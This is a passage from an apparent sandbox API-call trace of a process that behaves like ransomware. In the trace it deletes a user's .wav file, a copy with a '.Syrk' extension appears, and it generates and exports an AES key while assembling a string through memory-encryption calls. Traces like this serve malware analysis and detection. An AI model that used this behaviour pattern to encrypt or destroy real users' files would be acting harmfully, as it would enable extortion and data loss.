(lpFileName="C:\\Users\\kEecfMwgj\\Music" (normalized: "c:\\users\\keecfmwgj\\music")) returned 0x11 [0244.245] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0244.245] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music", nBufferLength=0x19, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music", lpFilePart=0x0) returned 0x18 [0244.245] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\MT00azHNzYeUklUK7WLY.wav" (normalized: "c:\\users\\keecfmwgj\\music\\mt00azhnzyeukluk7wly.wav")) returned 0x20 [0244.245] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\MT00azHNzYeUklUK7WLY.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0244.245] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\MT00azHNzYeUklUK7WLY.wav", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\MT00azHNzYeUklUK7WLY.wav", lpFilePart=0x0) returned 0x31 [0244.250] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\MT00azHNzYeUklUK7WLY.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0244.250] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\MT00azHNzYeUklUK7WLY.wav", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\MT00azHNzYeUklUK7WLY.wav", lpFilePart=0x0) returned 0x31 [0244.250] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0244.250] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\MT00azHNzYeUklUK7WLY.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0244.250] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\MT00azHNzYeUklUK7WLY.wav", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\MT00azHNzYeUklUK7WLY.wav", lpFilePart=0x0) returned 0x31 [0244.250] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\MT00azHNzYeUklUK7WLY.wav\\*" (normalized: "c:\\users\\keecfmwgj\\music\\mt00azhnzyeukluk7wly.wav\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0244.250] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0244.250] CoTaskMemAlloc (cb=0x404) returned 0x5c98368 [0244.250] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c98368, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0244.250] CoTaskMemFree (pv=0x5c98368) [0244.252] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\MT00azHNzYeUklUK7WLY.wav" (normalized: "c:\\users\\keecfmwgj\\music\\mt00azhnzyeukluk7wly.wav")) returned 0x20 [0244.252] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\MT00azHNzYeUklUK7WLY.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0244.253] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\MT00azHNzYeUklUK7WLY.wav", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\MT00azHNzYeUklUK7WLY.wav", lpFilePart=0x0) returned 0x31 [0244.253] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0244.253] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\MT00azHNzYeUklUK7WLY.wav" (normalized: "c:\\users\\keecfmwgj\\music\\mt00azhnzyeukluk7wly.wav"), fInfoLevelId=0x0, lpFileInformation=0x23a8da4 | out: lpFileInformation=0x23a8da4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d0dea0, ftCreationTime.dwHighDateTime=0x1d99906, ftLastAccessTime.dwLowDateTime=0xc50364a0, ftLastAccessTime.dwHighDateTime=0x1d99b16, ftLastWriteTime.dwLowDateTime=0xc50364a0, ftLastWriteTime.dwHighDateTime=0x1d99b16, nFileSizeHigh=0x0, nFileSizeLow=0x17325)) returned 1 [0244.253] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0244.253] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\MT00azHNzYeUklUK7WLY.wav" (normalized: "c:\\users\\keecfmwgj\\music\\mt00azhnzyeukluk7wly.wav")) returned 1 [0244.255] EtwEventActivityIdControl () returned 0x0 [0244.256] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.256] EtwEventActivityIdControl () returned 0x0 [0244.256] EtwEventActivityIdControl () returned 0x0 [0244.256] EtwEventActivityIdControl () returned 0x0 [0244.263] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\MT00azHNzYeUklUK7WLY.wav.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\mt00azhnzyeukluk7wly.wav.syrk")) returned 0x20 [0244.264] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\MT00azHNzYeUklUK7WLY.wav.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\mt00azhnzyeukluk7wly.wav.syrk")) returned 0x20 [0244.264] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\MT00azHNzYeUklUK7WLY.wav.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0244.264] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\MT00azHNzYeUklUK7WLY.wav.Syrk", nBufferLength=0x37, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\MT00azHNzYeUklUK7WLY.wav.Syrk", lpFilePart=0x0) returned 0x36 [0244.264] EtwEventActivityIdControl () returned 0x0 [0244.264] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.265] EtwEventActivityIdControl () returned 0x0 [0244.265] EtwEventActivityIdControl () returned 0x0 [0244.265] EtwEventActivityIdControl () returned 0x0 [0244.271] EtwEventActivityIdControl () returned 0x0 [0244.271] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.271] EtwEventActivityIdControl () returned 0x0 [0244.271] EtwEventActivityIdControl () returned 0x0 [0244.271] EtwEventActivityIdControl () returned 0x0 [0244.275] EtwEventActivityIdControl () returned 0x0 [0244.275] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.275] EtwEventActivityIdControl () returned 0x0 [0244.275] EtwEventActivityIdControl () returned 0x0 [0244.275] EtwEventActivityIdControl () returned 0x0 [0244.279] EtwEventActivityIdControl () returned 0x0 [0244.279] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.279] EtwEventActivityIdControl () returned 0x0 [0244.279] EtwEventActivityIdControl () returned 0x0 [0244.279] EtwEventActivityIdControl () returned 0x0 [0244.283] EtwEventActivityIdControl () returned 0x0 [0244.283] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.283] EtwEventActivityIdControl () returned 0x0 [0244.283] EtwEventActivityIdControl () returned 0x0 [0244.283] EtwEventActivityIdControl () returned 0x0 [0244.288] EtwEventActivityIdControl () returned 0x0 [0244.292] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0244.292] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\MT00azHNzYeUklUK7WLY.wav.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\mt00azhnzyeukluk7wly.wav.syrk"), fInfoLevelId=0x0, lpFileInformation=0x23b2c48 | out: lpFileInformation=0x23b2c48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd45c0f0, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0xd45c0f0, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0xd482250, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x17344)) returned 1 [0244.292] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0244.293] GetConsoleOutputCP () returned 0x1b5 [0244.293] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0244.293] GetConsoleOutputCP () returned 0x1b5 [0244.294] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0244.294] GetConsoleOutputCP () returned 0x1b5 [0244.294] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0244.294] GetConsoleOutputCP () returned 0x1b5 [0244.294] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0244.294] GetConsoleOutputCP () returned 0x1b5 [0244.294] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0244.294] GetConsoleOutputCP () returned 0x1b5 [0244.294] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0244.295] GetConsoleOutputCP () returned 0x1b5 [0244.295] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0244.295] GetConsoleOutputCP () returned 0x1b5 [0244.295] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0244.295] GetConsoleOutputCP () returned 0x1b5 [0244.295] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0244.295] GetConsoleOutputCP () returned 0x1b5 [0244.295] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0244.295] GetConsoleOutputCP () returned 0x1b5 [0244.296] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0244.296] GetConsoleOutputCP () returned 0x1b5 [0244.296] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0244.296] GetConsoleOutputCP () returned 0x1b5 [0244.296] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0244.296] GetConsoleOutputCP () returned 0x1b5 [0244.297] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0244.297] GetConsoleOutputCP () returned 0x1b5 [0244.297] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0244.297] GetConsoleOutputCP () returned 0x1b5 [0244.297] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0244.297] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0244.297] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0244.298] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x23ccef0*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x23ccef0*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0244.298] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0244.299] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0244.300] EtwEventActivityIdControl () returned 0x0 [0244.300] EtwEventActivityIdControl () returned 0x0 [0244.300] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.300] EtwEventActivityIdControl () returned 0x0 [0244.300] EtwEventActivityIdControl () returned 0x0 [0244.300] EtwEventActivityIdControl () returned 0x0 [0244.322] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.323] EtwEventActivityIdControl () returned 0x0 [0244.323] EtwEventActivityIdControl () returned 0x0 [0244.323] EtwEventActivityIdControl () returned 0x0 [0244.325] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x373678) returned 1 [0244.326] CryptGenKey (in: hProv=0x373678, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c69180) returned 1 [0244.326] CryptContextAddRef (hProv=0x373678, pdwReserved=0x0, dwFlags=0x0) returned 1 [0244.326] CryptExportKey (in: hKey=0x5c69180, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0244.326] CryptExportKey (in: hKey=0x5c69180, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x23d4b0c, pdwDataLen=0x5a2e8c4 | out: pbData=0x23d4b0c*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0244.327] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.327] EtwEventActivityIdControl () returned 0x0 [0244.327] EtwEventActivityIdControl () returned 0x0 [0244.327] EtwEventActivityIdControl () returned 0x0 [0244.328] SysStringLen (param_1="") returned 0x8 [0244.328] SysStringLen (param_1="w") returned 0x8 [0244.328] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.328] SysStringLen (param_1="仗킨ꅘ띊㞌켜⣎᪍") returned 0x8 [0244.328] SysStringLen (param_1="仗킨ꅘ띊㞌켜⣎᪍") returned 0x8 [0244.328] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.328] SysStringLen (param_1="wx") returned 0x8 [0244.328] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.329] SysStringLen (param_1="鰳╡₹炥詎⁈嗒ತ") returned 0x8 [0244.329] SysStringLen (param_1="鰳╡₹炥詎⁈嗒ತ") returned 0x8 [0244.329] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.329] SysStringLen (param_1="wxl") returned 0x8 [0244.329] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.329] SysStringLen (param_1="ￅ靝톿燁ꂐ癸펩戁") returned 0x8 [0244.329] SysStringLen (param_1="ￅ靝톿燁ꂐ癸펩戁") returned 0x8 [0244.329] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.329] SysStringLen (param_1="wxl3") returned 0x8 [0244.329] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.329] SysStringLen (param_1="协煹䂗ᚦ魹檧冎獮") returned 0x8 [0244.329] SysStringLen (param_1="协煹䂗ᚦ魹檧冎獮") returned 0x8 [0244.329] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.330] SysStringLen (param_1="wxl3n") returned 0x8 [0244.330] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.330] SysStringLen (param_1="䉝碣࿏맅ᮐ␗⨏") returned 0x8 [0244.330] SysStringLen (param_1="䉝碣࿏맅ᮐ␗⨏") returned 0x8 [0244.330] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.330] SysStringLen (param_1="wxl3n1") returned 0x8 [0244.330] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.330] SysStringLen (param_1="ⱡ疊\ߘ濈㮸\诜晕") returned 0x8 [0244.330] SysStringLen (param_1="ⱡ疊\ߘ濈㮸\诜晕") returned 0x8 [0244.330] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.330] SysStringLen (param_1="wxl3n1b") returned 0x8 [0244.330] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.331] SysStringLen (param_1="ꞌ뮬跣멉뛟䮥撘") returned 0x8 [0244.331] SysStringLen (param_1="ꞌ뮬跣멉뛟䮥撘") returned 0x8 [0244.331] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.331] SysStringLen (param_1="wxl3n1bv") returned 0x8 [0244.331] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.331] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗√) returned 0x8 [0244.331] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗√) returned 0x8 [0244.331] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗√) returned 0x8 [0244.332] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗√) returned 0x10 [0244.332] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.332] SysStringLen (param_1="wxl3n1bvy\㓚ⱕ쇿।⋗) returned 0x10 [0244.332] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.332] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗：䦗觀唫ꠃ၌䟾≎) returned 0x10 [0244.332] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗：䦗觀唫ꠃ၌䟾≎) returned 0x10 [0244.332] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.332] SysStringLen (param_1="wxl3n1bvy6\㓚ⱕ쇿।⋗) returned 0x10 [0244.332] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.332] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗됚ꡀꐣ䤶룚∋) returned 0x10 [0244.332] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗됚ꡀꐣ䤶룚∋) returned 0x10 [0244.333] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.333] SysStringLen (param_1="wxl3n1bvy6/\㓚ⱕ쇿।⋗) returned 0x10 [0244.333] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.333] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗⬉㳏胶讉ሯ⋬) returned 0x10 [0244.333] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗⬉㳏胶讉ሯ⋬) returned 0x10 [0244.333] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.333] SysStringLen (param_1="wxl3n1bvy6/w唴Ｌ擁휉") returned 0x10 [0244.333] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.333] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗栚椃◫ᕬ裥䵸忇⊰) returned 0x10 [0244.333] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗栚椃◫ᕬ裥䵸忇⊰) returned 0x10 [0244.333] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.333] SysStringLen (param_1="wxl3n1bvy6/wjＬ擁휉") returned 0x10 [0244.333] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.334] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗栚㍠׊Ҷ컇촜≟) returned 0x10 [0244.334] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗栚㍠׊Ҷ컇촜≟) returned 0x10 [0244.334] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.334] SysStringLen (param_1="wxl3n1bvy6/wjy擁휉") returned 0x10 [0244.334] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.334] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗⬚젺ᦟ鰡雮槧읛⊜) returned 0x10 [0244.334] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗⬚젺ᦟ鰡雮槧읛⊜) returned 0x10 [0244.334] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.334] SysStringLen (param_1="wxl3n1bvy6/wjyl휉") returned 0x10 [0244.334] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.334] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗㐚⌊Ȑ薻讆ꃚ䙋䥫⋍) returned 0x10 [0244.334] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗㐚⌊Ȑ薻讆ꃚ䙋䥫⋍) returned 0x10 [0244.334] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.335] SysStringLen (param_1="wxl3n1bvy6/wjyl2") returned 0x10 [0244.335] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.335] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇⊯) returned 0x10 [0244.335] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇⊯) returned 0x10 [0244.335] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇⊯) returned 0x10 [0244.335] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇⊯) returned 0x18 [0244.335] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.335] SysStringLen (param_1="wxl3n1bvy6/wjyl2p鴤忉䞬ᡁ켠琕戟") returned 0x18 [0244.336] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.336] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇⺯ꪼᔉ쪰ᝢꚖ痺⋫) returned 0x18 [0244.336] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇⺯ꪼᔉ쪰ᝢꚖ痺⋫) returned 0x18 [0244.336] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.336] SysStringLen (param_1="wxl3n1bvy6/wjyl2pF忉䞬ᡁ켠琕戟") returned 0x18 [0244.336] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.336] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇뒯ź┿芄刣߂ﲪ騣⊄) returned 0x18 [0244.336] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇뒯ź┿芄刣߂ﲪ騣⊄) returned 0x18 [0244.336] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.336] SysStringLen (param_1="wxl3n1bvy6/wjyl2pFh䞬ᡁ켠琕戟") returned 0x18 [0244.336] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.336] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇꺯ꗌ䬿ꠖ㱐浠웊≫) returned 0x18 [0244.336] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇꺯ꗌ䬿ꠖ㱐浠웊≫) returned 0x18 [0244.336] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.337] SysStringLen (param_1="wxl3n1bvy6/wjyl2pFhxᡁ켠琕戟") returned 0x18 [0244.337] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.337] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇쒯达邚浽他♲ᦇΦ⊪) returned 0x18 [0244.337] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇쒯达邚浽他♲ᦇΦ⊪) returned 0x18 [0244.337] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | 